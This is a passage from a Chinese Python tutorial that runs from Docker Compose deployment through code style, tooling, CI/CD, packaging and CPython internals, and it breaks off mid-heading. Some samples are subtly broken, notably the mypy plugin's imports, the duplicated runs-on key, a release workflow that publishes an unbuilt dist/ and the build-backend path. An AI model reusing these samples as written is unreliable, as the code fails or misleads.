│   │   └── items.py
│   ├── database.py
│   ├── redis_client.py
│   └── config.py
├── tests/
│   ├── __init__.py
│   └── test_main.py
├── requirements.txt
├── Dockerfile
├── Dockerfile.test          # 测试用 Dockerfile
├── docker-compose.yml
├── docker-compose.test.yml  # 测试用 compose
├── .env
├── .env.example
├── .dockerignore
└── README.md

# docker-compose.yml
version: '3.8'

services:
  app:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: fastapi-app
    ports:
      - "8000:8000"
    environment:
      - DATABASE_URL=mysql+pymysql://appuser:apppass@db:3306/myapp
      - REDIS_URL=redis://redis:6379/0
    depends_on:
      db:
        condition: service_healthy
      redis:
        condition: service_started
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
      interval: 30s
      timeout: 10s
      retries: 3

  db:
    image: mysql:8.0
    container_name: fastapi-db
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: myapp
      MYSQL_USER: appuser
      MYSQL_PASSWORD: apppass
    volumes:
      - mysql-data:/var/lib/mysql
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 5
    restart: unless-stopped

  redis:
    image: redis:7-alpine
    container_name: fastapi-redis
    volumes:
      - redis-data:/data
    command: redis-server --appendonly yes --maxmemory 256mb --maxmemory-policy allkeys-lru
    restart: unless-stopped

  # 可选:Nginx 反向代理
  nginx:
    image: nginx:alpine
    container_name: fastapi-nginx
    ports:
      - "80:80"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    depends_on:
      - app
    restart: unless-stopped

volumes:
  mysql-data:
  redis-data:

# 一键部署
# docker-compose up -d

# 查看状态
# docker-compose ps

# 查看日志
# docker-compose logs -f app

# 停止服务
# docker-compose down

# 停止并删除数据(慎用!)
# docker-compose down -v
生产部署检查清单
  • 使用 .env 文件:敏感信息不要写在 docker-compose.yml 中
  • 设置健康检查:确保服务真正可用后再接收流量
  • 限制资源:设置 CPU 和内存限制,避免一个容器吃光资源
  • 日志管理:配置日志轮转,避免磁盘被日志撑爆
  • 数据备份:定期备份数据卷,特别是数据库
  • 镜像版本:不要用 latest,明确指定版本号
  • 非 root 用户:容器内不要用 root 运行应用
  • 多副本部署:用 deploy.replicas 设置多个副本
常见错误总结
  • 数据卷未持久化:数据库数据没挂载卷,容器删除后数据丢失
  • 容器启动顺序:应用启动时数据库还没准备好,用 depends_on + healthcheck
  • 环境变量泄露:.env 文件被提交到 Git,加入 .gitignore
  • 镜像太大:用多阶段构建 + slim 基础镜像
  • 端口冲突:宿主机端口被占用,换端口或停止占用的服务
  • 网络不通:容器不在同一个网络,用 docker network connect
  • 日志撑爆磁盘:配置日志轮转 max-size 和 max-file

第四十六章:代码规范与工程化

本章导览

写出能运行的代码只是第一步,写出规范、可维护、可测试的代码才是专业程序员的标准。本章会教你 PEP 8 代码规范、代码检查工具、单元测试和打包发布——这些是把"代码"变成"产品"的关键步骤。

46.1 PEP 8 代码规范——"Python 的代码风格指南"

PEP 8 是 Python 官方的代码风格指南。遵循它能让你的代码更易读、更专业。

规则正确错误
缩进用 4 空格    x = 1\tx = 1(Tab)
每行不超过 79 字符换行一行写太长
函数名用 snake_caseget_user_namegetUserName
类名用 PascalCaseUserServiceuser_service
常量用 UPPER_CASEMAX_RETRYmaxRetry
运算符两边加空格x = 1 + 2x=1+2
逗号后面加空格func(a, b, c)func(a,b,c)
函数之间空两行——
import 放在文件顶部——
类的方法之间空一行——
布尔值比较不要用 ==if flag:if flag == True:
# PEP 8 命名规范速查
# 变量和函数:snake_case
user_name = "Alice"
def get_user_name():
    pass

# 类:PascalCase
class UserService:
    pass

# 常量:UPPER_SNAKE_CASE
MAX_RETRY = 3
DATABASE_URL = "sqlite:///app.db"

# 私有成员:单下划线前缀
class Config:
    _internal_cache = {}    # 约定私有(外部仍可访问)
    __secret = "password"   # 名称改写(外部无法直接访问)

# 魔法方法:双下划线前后
class MyObj:
    def __init__(self):     # 构造方法
        pass
    def __repr__(self):     # 字符串表示
        pass

46.2 虚拟环境管理——"每个项目一个独立空间"

不同项目可能依赖同一个库的不同版本。虚拟环境让每个项目拥有独立的依赖,互不干扰。

venv
Python 内置轻量、无需安装,适合简单项目
conda
Anaconda 自带支持 Python 和非 Python 依赖,适合数据科学
Poetry
依赖管理 + 打包自动管理 pyproject.toml 和 lock 文件
uv
用 Rust 写的超快工具pip + venv + poetry 的替代品,速度快 10-100 倍
# ===== venv(Python 内置,最基础)=====
python -m venv .venv              # 创建虚拟环境
source .venv/bin/activate         # 激活(Linux/macOS)
.venv\Scripts\activate            # 激活(Windows)
deactivate                        # 退出虚拟环境

pip install requests pandas       # 安装依赖
pip freeze > requirements.txt     # 导出依赖列表
pip install -r requirements.txt   # 从文件安装依赖
# ===== Poetry(推荐用于库和包开发)=====
# 安装:curl -sSL https://install.python-poetry.org | python3 -

poetry new my-project             # 创建新项目
poetry init                       # 在已有项目中初始化
poetry add requests pandas        # 添加依赖(自动更新 pyproject.toml)
poetry add --group dev pytest     # 添加开发依赖
poetry install                    # 安装所有依赖
poetry run python main.py         # 在虚拟环境中运行
poetry shell                      # 进入虚拟环境 shell
poetry lock                       # 生成 lock 文件(锁定版本)
# ===== uv(最快,推荐替代 pip)=====
# 安装:curl -LsSf https://astral.sh/uv/install.sh | sh

uv venv                           # 创建虚拟环境
uv pip install requests           # 安装包(比 pip 快 10-100 倍)
uv pip compile requirements.in    # 生成锁定的 requirements.txt
uv pip sync requirements.txt      # 同步环境(安装/卸载到精确匹配)

# uv 还能管理 Python 版本
uv python install 3.12            # 安装 Python 3.12
uv python list                    # 列出可用版本
怎么选?
  • 简单脚本:venv + pip 就够了
  • 开发 Python 包/库:Poetry(自动管理版本号、打包发布)
  • 数据科学:conda(管理 C 扩展和非 Python 依赖)
  • 追求速度:uv(全面替代 pip + venv)

46.3 代码检查与格式化工具

# ===== ruff(全能选手,推荐)=====
# 集成了 flake8 + isort + pyupgrade + autoflake 等几十个工具
pip install ruff

ruff check your_script.py         # 检查代码问题
ruff check --fix your_script.py   # 自动修复
ruff format your_script.py        # 格式化代码(替代 black)
# ruff 配置(pyproject.toml)
[tool.ruff]
line-length = 88                  # 每行最大长度
target-version = "py310"          # 目标 Python 版本

[tool.ruff.lint]
select = [
    "E",   # pycodestyle 错误
    "F",   # pyflakes(未使用的导入等)
    "I",   # isort(import 排序)
    "N",   # pep8-naming(命名规范)
    "UP",  # pyupgrade(代码现代化)
    "B",   # flake8-bugbear(常见 bug 模式)
]
ignore = ["E501"]                 # 忽略行长度限制

[tool.ruff.lint.isort]
known-first-party = ["myapp"]     # 标记为自己的包
# ===== black(经典格式化工具)=====
pip install black
black your_script.py              # 格式化
black --check your_script.py      # 只检查不修改(CI 用)
black --diff your_script.py       # 显示会改什么
# ===== isort(专门排序 import)=====
pip install isort
isort your_script.py              # 自动排序 import

# isort 的排序规则:
# 1. 标准库(os, sys, json)
# 2. 第三方库(requests, pandas)
# 3. 本地模块(myapp.utils)
# 每组之间用空行分隔

# 排序前:
from myapp.utils import helper
import json
import os
import requests

# 排序后:
import json
import os

import requests

from myapp.utils import helper
# ===== mypy(静态类型检查)=====
pip install mypy
mypy your_script.py               # 检查类型错误

# mypy 配置(pyproject.toml)
[tool.mypy]
python_version = "3.10"
warn_return_any = true
warn_unused_configs = true
disallow_untyped_defs = true      # 函数必须有类型注解
工具选择速查
工具功能推荐程度
ruff检查 + 格式化 + import 排序(全能)⭐⭐⭐⭐⭐ 首选
black代码格式化(不可配置,"独裁式")⭐⭐⭐⭐
flake8代码检查(ruff 的替代品)⭐⭐⭐ 被 ruff 取代
isortimport 排序(ruff 内置)⭐⭐⭐ 被 ruff 取代
mypy静态类型检查⭐⭐⭐⭐ 大型项目推荐
pylint深度代码分析⭐⭐⭐ 较慢但全面

46.4 pre-commit——"提交代码前自动检查"

pre-commit 是一个 Git 钩子框架,在 git commit 时自动运行代码检查,不合格的代码无法提交:

# 安装
pip install pre-commit

# 创建配置文件 .pre-commit-config.yaml
repos:
  - repo: https://github.com/astral-sh/ruff-pre-commit
    rev: v0.4.0
    hooks:
      - id: ruff           # 代码检查
        args: [--fix]
      - id: ruff-format    # 代码格式化

  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.6.0
    hooks:
      - id: trailing-whitespace    # 删除行尾空格
      - id: end-of-file-fixer      # 确保文件以换行结尾
      - id: check-yaml             # 检查 YAML 语法
      - id: check-added-large-files # 防止提交大文件

# 安装钩子
pre-commit install

# 手动对所有文件运行(首次)
pre-commit run --all-files
pre-commit 的好处
  • 代码入库前就发现问题——不需要等到 CI 才知道代码格式不对
  • 统一团队风格——每个人都用同一套规则,不再争论格式
  • 自动修复——ruff --fix 会自动修简单问题,你只需要确认

46.5 单元测试(pytest)——简要回顾

pytest 的详细用法在第43章已经讲过,这里只做简要回顾和补充:

# 基本测试
def test_add():
    assert add(1, 2) == 3

# 参数化测试
@pytest.mark.parametrize("a,b,expected", [
    (1, 2, 3), (-1, 1, 0), (0, 0, 0),
])
def test_add_parametrized(a, b, expected):
    assert add(a, b) == expected

# 运行测试
# pytest                     # 运行所有测试
# pytest -v                  # 详细输出
# pytest -x                  # 第一个失败就停止
# pytest -k "test_add"       # 只运行名字匹配的测试
# pytest --tb=short          # 简化错误输出
# pytest 配置(pyproject.toml)
[tool.pytest.ini_options]
testpaths = ["tests"]         # 测试目录
python_files = ["test_*.py"]  # 测试文件名模式
python_functions = ["test_*"] # 测试函数名模式
addopts = "-v --tb=short"     # 默认参数

46.6 pyproject.toml 详细配置——"项目的身份证"

pyproject.toml 是现代 Python 项目的标准配置文件,取代了 setup.py、setup.cfg、requirements.txt 等多个文件:

# 完整的 pyproject.toml 示例

[build-system]
requires = ["setuptools>=68.0"]
build-backend = "setuptools.backends._legacy:_Backend"

[project]
name = "my-package"
version = "1.0.0"
description = "我的 Python 包"
readme = "README.md"
license = {text = "MIT"}
requires-python = ">=3.10"
authors = [
    {name = "张三", email = "zhangsan@example.com"},
]
keywords = ["api", "web", "tool"]
classifiers = [
    "Development Status :: 4 - Beta",
    "Programming Language :: Python :: 3",
    "License :: OSI Approved :: MIT License",
]

dependencies = [
    "requests>=2.28",
    "pandas>=2.0",
    "pydantic>=2.0",
]

[project.optional-dependencies]
dev = ["pytest", "ruff", "mypy", "pre-commit"]
docs = ["sphinx", "sphinx-rtd-theme"]

[project.scripts]
my-tool = "my_package.cli:main"  # 命令行入口

[project.urls]
Homepage = "https://github.com/user/my-package"
Documentation = "https://my-package.readthedocs.io"

# ===== 工具配置 =====

[tool.ruff]
line-length = 88

[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B"]

[tool.mypy]
python_version = "3.10"
disallow_untyped_defs = true

[tool.pytest.ini_options]
testpaths = ["tests"]
addopts = "-v --tb=short"

46.7 打包发布

# 打包步骤
# 1. 安装构建工具
pip install build twine

# 2. 构建(生成 dist/ 目录下的 .tar.gz 和 .whl 文件)
python -m build

# 3. 检查打包结果
twine check dist/*

# 4. 上传到 TestPyPI(先测试)
twine upload --repository testpypi dist/*

# 5. 上传到正式 PyPI
twine upload dist/*
# 项目目录结构
my-package/
├── pyproject.toml          # 项目配置
├── README.md               # 项目说明
├── LICENSE                  # 开源协议
├── src/                    # 源代码(推荐 src 布局)
│   └── my_package/
│       ├── __init__.py
│       ├── core.py
│       └── cli.py
├── tests/                  # 测试代码
│   ├── test_core.py
│   └── test_cli.py
├── docs/                   # 文档
└── .pre-commit-config.yaml # pre-commit 配置

46.8 CI/CD 基础——"代码提交后自动检查"

# GitHub Actions 配置(.github/workflows/ci.yml)
name: CI

on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        python-version: ["3.10", "3.11", "3.12"]

    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}

      - name: Install dependencies
        run: |
          pip install -e ".[dev]"

      - name: Lint with ruff
        run: |
          ruff check .
          ruff format --check .

      - name: Type check with mypy
        run: |
          mypy src/

      - name: Test with pytest
        run: |
          pytest --cov=my_package --cov-report=xml

      - name: Upload coverage
        uses: codecov/codecov-action@v4
        with:
          file: ./coverage.xml

46.9 高级 CI/CD——矩阵测试、Docker 缓存与自动发布

# ===== 矩阵测试:同时跑多个 Python 版本 =====
# .github/workflows/ci-advanced.yml
name: CI Advanced

on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false  # 一个版本失败不影响其他版本
      matrix:
        python-version: ["3.10", "3.11", "3.12", "3.13"]
        os: [ubuntu-latest, macos-latest, windows-latest]
        exclude:
          - python-version: "3.10"
            os: windows-latest  # 排除特定组合
        include:
          - python-version: "3.13"
            os: ubuntu-latest
            experimental: true  # 标记为实验性

    runs-on: ${{ matrix.os }}
    continue-on-error: ${{ matrix.experimental || false }}

    steps:
      - uses: actions/checkout@v4

      - name: Set up Python ${{ matrix.python-version }}
        uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}

      # ===== 利用缓存加速 CI =====
      - name: Cache pip packages
        uses: actions/cache@v4
        with:
          path: ~/.cache/pip
          key: ${{ runner.os }}-pip-${{ hashFiles('**/pyproject.toml') }}
          restore-keys: |
            ${{ runner.os }}-pip-

      - name: Cache uv packages
        uses: actions/cache@v4
        with:
          path: ~/.cache/uv
          key: ${{ runner.os }}-uv-${{ hashFiles('**/uv.lock') }}

      - name: Install dependencies
        run: |
          pip install uv
          uv pip install -e ".[dev]"

      - name: Lint
        if: matrix.python-version == '3.12' && matrix.os == 'ubuntu-latest'
        run: |
          ruff check .
          ruff format --check .
          mypy src/

      - name: Test
        run: |
          pytest --cov=src --cov-report=xml -x

      - name: Upload coverage
        if: matrix.python-version == '3.12' && matrix.os == 'ubuntu-latest'
        uses: codecov/codecov-action@v4
# ===== Docker 缓存加速 CI =====
# .github/workflows/docker.yml
name: Build Docker Image

on:
  push:
    tags: ['v*']

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Cache Docker layers
        uses: actions/cache@v4
        with:
          path: /tmp/.buildx-cache
          key: ${{ runner.os }}-buildx-${{ github.sha }}
          restore-keys: |
            ${{ runner.os }}-buildx-

      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: |
            myapp:latest
            myapp:${{ github.ref_name }}
          cache-from: type=local,src=/tmp/.buildx-cache
          cache-to: type=local,dest=/tmp/.buildx-cache-new,mode=max

      # 防止缓存无限增长
      - name: Move cache
        run: |
          rm -rf /tmp/.buildx-cache
          mv /tmp/.buildx-cache-new /tmp/.buildx-cache
# ===== 自动发布时生成 Changelog =====
# .github/workflows/release.yml
name: Release

on:
  push:
    tags: ['v*']

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      id-token: write

    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # 获取完整 git 历史

      - name: Generate Changelog
        id: changelog
        run: |
          # 从上一个 tag 到当前 tag 的 commit 信息
          PREV_TAG=$(git tag --sort=-creatordate | sed -n '2p')
          CURRENT_TAG=${GITHUB_REF#refs/tags/}
          echo "## What's Changed" > CHANGELOG.md
          echo "" >> CHANGELOG.md
          git log ${PREV_TAG}..${CURRENT_TAG} --pretty=format:"- %s (%h)" >> CHANGELOG.md
          echo "" >> CHANGELOG.md
          echo "**Full Changelog**: https://github.com/${{ github.repository }}/compare/${PREV_TAG}...${CURRENT_TAG}" >> CHANGELOG.md

      - name: Create GitHub Release
        uses: softprops/action-gh-release@v2
        with:
          body_path: CHANGELOG.md
          files: dist/*

      - name: Publish to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        with:
          packages-dir: dist/

46.10 自定义 Mypy 插件——强制团队代码规范

# ===== 场景:强制团队在特定业务类上添加 @audit_log 装饰器 =====
# 问题:团队约定所有继承 BaseService 的类必须用 @audit_log 装饰
# 但总有人忘记写。靠 Code Review 发现太慢,不如让 mypy 自动检查。

# mypy 插件(mypy_audit_plugin.py):
from mypy.plugin import Plugin, ClassDefContext
from mypy.plugins.common import add_method_to_class
import mypy.types as types

class AuditLogPlugin(Plugin):
    """自定义 mypy 插件:检查 BaseService 子类是否有 @audit_log"""

    def get_base_class_hook(self, fullname: str):
        # 当检测到继承自 BaseService 的类时触发
        if fullname == 'myapp.services.BaseService':
            return self.audit_log_hook
        return None

    def audit_log_hook(self, ctx: ClassDefContext) -> None:
        """检查是否有 @audit_log 装饰器"""
        cls = ctx.cls
        # 检查类的装饰器列表
        has_audit_log = False
        for decorator in cls.decorators:
            if isinstance(decorator, types.NameExpr) and decorator.name == 'audit_log':
                has_audit_log = True
                break
            if isinstance(decorator, types.MemberExpr) and decorator.name == 'audit_log':
                has_audit_log = True
                break

        if not has_audit_log:
            ctx.api.fail(
                f"类 '{cls.name}' 继承自 BaseService,必须添加 @audit_log 装饰器",
                cls
            )

def plugin(version: str):
    return AuditLogPlugin

# ===== 在 mypy 配置中启用插件 =====
# pyproject.toml:
# [tool.mypy]
# plugins = ["mypy_audit_plugin.py"]

# ===== 使用示例 =====
# from myapp.services import audit_log, BaseService
#
# @audit_log  # ✅ 正确
# class UserService(BaseService):
#     def get_user(self, user_id): ...
#
# class OrderService(BaseService):  # ❌ mypy 报错:必须添加 @audit_log 装饰器
#     def get_order(self, order_id): ...

46.11 Monorepo 管理——大型项目的依赖与构建

# ===== 什么时候需要 Monorepo?=====
# 当你的项目有多个相互依赖的模块时:
# my-company/
# ├── packages/
# │   ├── common/          # 公共库
# │   ├── user-service/    # 用户服务
# │   ├── order-service/   # 订单服务
# │   └── web-frontend/    # 前端
# └── pyproject.toml       # 根配置

# ===== 用 workspace 管理多模块 =====
# pyproject.toml(根目录)
"""
[tool.uv.workspace]
members = ["packages/*"]

[tool.uv]
dev-dependencies = [
    "pytest>=8.0",
    "ruff>=0.8",
]
"""

# 各模块的 pyproject.toml
# packages/common/pyproject.toml:
"""
[project]
name = "my-company-common"
version = "0.1.0"
dependencies = ["pydantic>=2.0"]
"""

# packages/user-service/pyproject.toml:
"""
[project]
name = "my-company-user-service"
version = "0.1.0"
dependencies = [
    "my-company-common",  # 依赖公共库
    "fastapi>=0.100",
]
"""

# ===== 用 pants 或 nx 管理构建(大型 Monorepo)=====
# pants(Python 原生的 Monorepo 构建工具)
# 安装:curl -L -O https://static.pantsbuild.org/setup/pants
# 配置 pants.toml:
"""
[GLOBAL]
pants_version = "2.22.0"
backend_packages = [
    "pants.backend.python",
    "pants.backend.python.lint.ruff",
]

[python]
interpreter_constraints = [">=3.11"]

[python-infer]
imports = "both"
"""

# 构建特定模块:
# pants test packages/user-service/...
# pants lint packages/common/...
# pants package packages/user-service/

# ===== Monorepo 的 CI 策略:只构建变更的模块 =====
# .github/workflows/monorepo-ci.yml
name: Monorepo CI
on: [push, pull_request]

jobs:
  detect-changes:
    runs-on: ubuntu-latest
    outputs:
      common: ${{ steps.changes.outputs.common }}
      user-service: ${{ steps.changes.outputs.user-service }}
      order-service: ${{ steps.changes.outputs.order-service }}
    steps:
      - uses: actions/checkout@v4
      - uses: dorny/paths-filter@v3
        id: changes
        with:
          filters: |
            common:
              - 'packages/common/**'
            user-service:
              - 'packages/user-service/**'
              - 'packages/common/**'  # 依赖公共库时也要触发
            order-service:
              - 'packages/order-service/**'
              - 'packages/common/**'

  test-common:
    needs: detect-changes
    if: needs.detect-changes.outputs.common == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/common && pip install -e ".[dev]" && pytest

  test-user-service:
    needs: [detect-changes, test-common]
    if: |
      always() &&
      needs.detect-changes.outputs.user-service == 'true' &&
      (needs.test-common.result == 'success' || needs.test-common.result == 'skipped')
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/user-service && pip install -e ".[dev]" && pytest
工程化最佳实践
  • PEP 8 + ruff:用工具自动检查和格式化代码
  • 虚拟环境:每个项目独立依赖,不要装到全局
  • pre-commit:提交前自动检查,把问题挡在门外
  • pyproject.toml:一个文件管理项目配置、依赖、工具
  • pytest + CI:每次提交自动跑测试
  • 语义化版本:MAJOR.MINOR.PATCH(如 1.2.3)
  • 矩阵测试:同时测试多个 Python 版本和操作系统
  • CI 缓存:pip/uv/Docker 层缓存,加速 CI 构建
  • 自定义 Mypy 插件:用静态检查强制团队规范(如装饰器要求)
  • Monorepo:多模块项目用 workspace + paths-filter 只构建变更
常见错误总结
  • 命名不规范:变量用 snake_case,类用 CamelCase,常量用 UPPER_SNAKE_CASE
  • import * 污染命名空间:永远不要 from module import *,明确导入需要的名字
  • 不锁定依赖版本:生产环境要锁定版本号,避免依赖更新导致程序崩溃
  • 测试代码和源码混放:测试放在 tests/ 目录,不要和源代码混在一起
  • 不用虚拟环境:全局安装容易导致版本冲突
  • 提交前不检查:用 pre-commit 自动检查,不要手动记规则
  • 不写 CI 配置:GitHub Actions 免费,写一份 CI 配置省无数手动检查

第四十七章:Python 内部机制与性能优化

本章导览

前面 46 章教你"怎么用 Python",本章教你"Python 是怎么工作的"。理解 CPython 的内部机制——对象模型、内存管理、GIL、字节码——是区分"会用"和"精通"的分水岭。掌握这些,你才能写出真正高效的代码,也能在面试中脱颖而出。

47.1 一切皆对象——Python 的对象模型

Python 中一切皆对象——整数、函数、类、模块,甚至 None 都是对象。每个对象在 CPython 内部都由一个 C 结构体 PyObject 表示:

# 在 CPython 中,每个对象的内存布局大致如下:
# struct PyObject {
#     Py_ssize_t ob_refcnt;    // 引用计数
#     PyTypeObject *ob_type;    // 指向类型对象的指针
# };

# 验证:每个对象都有 id(内存地址)和 type
import sys

a = 42
print(id(a))         # 内存地址(整数)
print(type(a))       # <class 'int'>
print(sys.getsizeof(a))  # 28 字节(64位系统)

# 小整数池:-5 到 256 的整数被缓存复用
a = 256
b = 256
print(a is b)  # True(同一个对象)

a = 257
b = 257
print(a is b)  # False(在交互式环境中,不同对象)

# 字符串驻留(interning):短字符串会被缓存
s1 = "hello"
s2 = "hello"
print(s1 is s2)  # True(被驻留了)

s1 = "hello world!"
s2 = "hello world!"
print(s1 is s2)  # 可能 False(长字符串不一定驻留)
面试高频:is 和 == 的区别

is 比较的是内存地址(是否是同一个对象),== 比较的是值(是否相等)。对于 None、True、False 这样的单例,始终用 is 判断。

47.2 内存管理——引用计数与垃圾回收

import sys
import gc

# ===== 引用计数 =====
a = [1, 2, 3]
print(sys.getrefcount(a))  # 2(a + getrefcount 的参数)

b = a          # 引用计数 +1
print(sys.getrefcount(a))  # 3

del b          # 引用计数 -1
print(sys.getrefcount(a))  # 2

# ===== 循环引用 =====
class Node:
    def __init__(self, name):
        self.name = name
        self.ref = None
    def __del__(self):
        print(f"{self.name} 被回收")

# 创建循环引用
a = Node("A")
b = Node("B")
a.ref = b
b.ref = a

# 即使 del,引用计数不为 0,不会立即回收
del a, b

# 分代回收能检测到循环引用
gc.collect()  # 手动触发垃圾回收

# ===== 查看 GC 统计 =====
print(gc.get_count())  # (第0代对象数, 第1代对象数, 第2代对象数),如 (421, 3, 1)
# 注意:gc.get_threshold() 才是返回阈值,如 (700, 10, 10)

# ===== 内存泄漏排查 =====
# 常见原因:
# 1. 全局变量/缓存无限增长
# 2. 闭包捕获了大对象
# 3. __del__ 中的循环引用(Python 3.4+ 已修复)
# 4. C 扩展中的内存泄漏

# 用 tracemalloc 追踪内存分配
import tracemalloc
tracemalloc.start()

# 你的代码
data = [i ** 2 for i in range(100000)]

snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
print("=== 内存分配 Top 5 ===")
for stat in top_stats[:5]:
    print(stat)

47.3 GIL(全局解释器锁)——深入理解

GIL 是什么?

想象一个只有一个话筒的会议室。同一时刻只有一个人能发言(执行 Python 字节码)。即使有 10 个人(10 个线程),也必须轮流使用话筒。这就是 GIL——它确保同一时刻只有一个线程执行 Python 字节码。

import threading
import time

# ===== GIL 的影响:CPU 密集型任务无法利用多核 =====
counter = 0

def cpu_task(n):
    """CPU 密集型任务"""
    global counter
    for _ in range(n):
        counter += 1

# 单线程
start = time.perf_counter()
cpu_task(10_000_000)
print(f"单线程: {time.perf_counter() - start:.2f}s")

# 多线程(受 GIL 限制,不会更快,甚至更慢)
counter = 0
start = time.perf_counter()
t1 = threading.Thread(target=cpu_task, args=(5_000_000,))
t2 = threading.Thread(target=cpu_task, args=(5_000_000,))
t1.start(); t2.start()
t1.join(); t2.join()
print(f"多线程: {time.perf_counter() - start:.2f}s")

# ===== 解决方案 =====
# 1. IO 密集型:用多线程(GIL 在 IO 等待时会释放)
# 2. CPU 密集型:用多进程(每个进程有独立的 GIL)
# 3. 用 C 扩展(NumPy 等在 C 层释放 GIL)
# 4. Python 3.13+:实验性的 free-threaded 模式(无 GIL)

from multiprocessing import Pool

def cpu_heavy(n):
    return sum(i * i for i in range(n))

# 多进程:真正并行
if __name__ == "__main__":
    with Pool(4) as pool:
        results = pool.map(cpu_heavy, [1_000_000] * 4)
    print(f"多进程结果: {sum(results)}")

47.4 字节码与 Python 虚拟机

import dis
import sys

# ===== 查看字节码 =====
def add(a, b):
    return a + b

print("=== add 函数的字节码 ===")
dis.dis(add)
# 输出大致如下(Python 3.11+):
#   0 LOAD_FAST    0 (a)
#   2 LOAD_FAST    1 (b)
#   4 BINARY_OP     0 (+)     # Python 3.10 及更早版本为 BINARY_ADD
#   6 RETURN_VALUE

# ===== 条件语句的字节码 =====
def check(x):
    if x > 0:
        return "positive"
    return "non-positive"

print("\n=== check 函数的字节码 ===")
dis.dis(check)

# ===== 查看 .pyc 编译文件 =====
# Python 会把源码编译成字节码缓存在 __pycache__/ 目录
# 这样下次导入时不需要重新编译
import py_compile
py_compile.compile('example.py')  # 手动编译

# ===== 常量折叠(Constant Folding)=====
# 编译器会自动计算常量表达式
x = 2 * 3 * 7  # 编译时就计算好了,运行时直接用 42
dis.dis(compile('x = 2 * 3 * 7', '', 'exec'))

# ===== peephole 优化 =====
# CPython 会做窥孔优化,比如:
# - 把 True/False/None 替换为 LOAD_CONST
# - 把 "a" in ("a","b","c") 优化为 frozenset 查找
# - 把 0 and x 优化为直接返回 0

47.5 性能分析与优化实战

import time
import timeit
import cProfile
import pstats
from functools import lru_cache

# ===== 1. timeit:微基准测试 =====
# 测量小段代码的执行时间
t1 = timeit.timeit('sum(range(1000))', number=10000)
t2 = timeit.timeit('s=0\nfor i in range(1000): s+=i', number=10000)
print(f"sum(range): {t1:.4f}s")
print(f"手动循环: {t2:.4f}s")

# ===== 2. cProfile:函数级性能分析 =====
def slow_function():
    total = 0
    for i in range(100000):
        total += i ** 2
    return total

def fast_function():
    return sum(i ** 2 for i in range(100000))

def main():
    for _ in range(10):
        slow_function()
    for _ in range(10):
        fast_function()

# 运行性能分析
cProfile.run('main()', sort='cumulative')

# ===== 3. line_profiler:逐行分析(需安装)=====
# pip install line_profiler
# 在函数上加 @profile 装饰器,然后运行:
# kernprof -l -v script.py

# ===== 4. memory_profiler:内存分析(需安装)=====
# pip install memory_profiler
# @profile 装饰器 + python -m memory_profiler script.py

# ===== 5. 常见优化技巧 =====

# 技巧 1:用局部变量代替全局变量(快 2-3 倍)
import math
def slow():
    result = []
    for i in range(10000):
        result.append(math.sqrt(i))
    return result

def fast():
    sqrt = math.sqrt  # 局部变量缓存
    result = []
    for i in range(10000):
        result.append(sqrt(i))
    return result

# 技巧 2:用列表推导代替循环
def slow_append():
    result = []
    for i in range(10000):
        if i % 2 == 0:
            result.append(i * 2)
    return result

def fast_comp():
    return [i * 2 for i in range(10000) if i % 2 == 0]

# 技巧 3:用集合/字典代替列表查找(O(1) vs O(n))
items_list = list(range(10000))
items_set = set(range(10000))

# 以下代码在 IPython/Jupyter 中运行(%timeit 是魔法命令)
# %timeit 9999 in items_list  # O(n) 慢
# %timeit 9999 in items_set   # O(1) 快

# 在普通 Python 中用 timeit 模块测试:
import timeit
t1 = timeit.timeit('9999 in items_list', globals=globals(), number=100000)
t2 = timeit.timeit('9999 in items_set', globals=globals(), number=100000)
print(f"列表查找: {t1:.4f}s")  # 慢
print(f"集合查找: {t2:.4f}s")  # 快约 100 倍

# 技巧 4:用 __slots__ 减少内存占用
class PointRegular:
    def __init__(self, x, y):
        self.x = x
        self.y = y

class PointSlots:
    __slots__ = ('x', 'y')
    def __init__(self, x, y):
        self.x = x
        self.y = y

p1 = PointRegular(1, 2)
p2 = PointSlots(1, 2)
print(f"普通对象: {sys.getsizeof(p1) + sys.getsizeof(p1.__dict__)} 字节")
print(f"__slots__: {sys.getsizeof(p2)} 字节")  # 节省约 40% 内存

47.6 Python 3.13+ 新特性:无 GIL 模式

# Python 3.13 引入了实验性的 free-threaded 模式(PEP 703)
# 目标:移除 GIL,让多线程真正并行

# 启用方式:安装 free-threaded 版本的 Python
# 或在编译时加 --disable-gil

# 注意:这是实验性特性,需要 C 扩展也支持
# 目前 NumPy、pandas 等正在适配中

# 在无 GIL 模式下,以下代码可以真正并行:
import threading

counter = 0
lock = threading.Lock()

def increment(n):
    global counter
    for _ in range(n):
        with lock:  # 无 GIL 模式下必须加锁!
            counter += 1

threads = [threading.Thread(target=increment, args=(1_000_000,)) for _ in range(4)]
for t in threads: t.start()
for t in threads: t.join()
print(f"Counter: {counter}")  # 4000000(有锁保证正确性)

47.7 GIL 的真相与绕过——哪些场景多线程依然有效?

⚠️ 原版问题

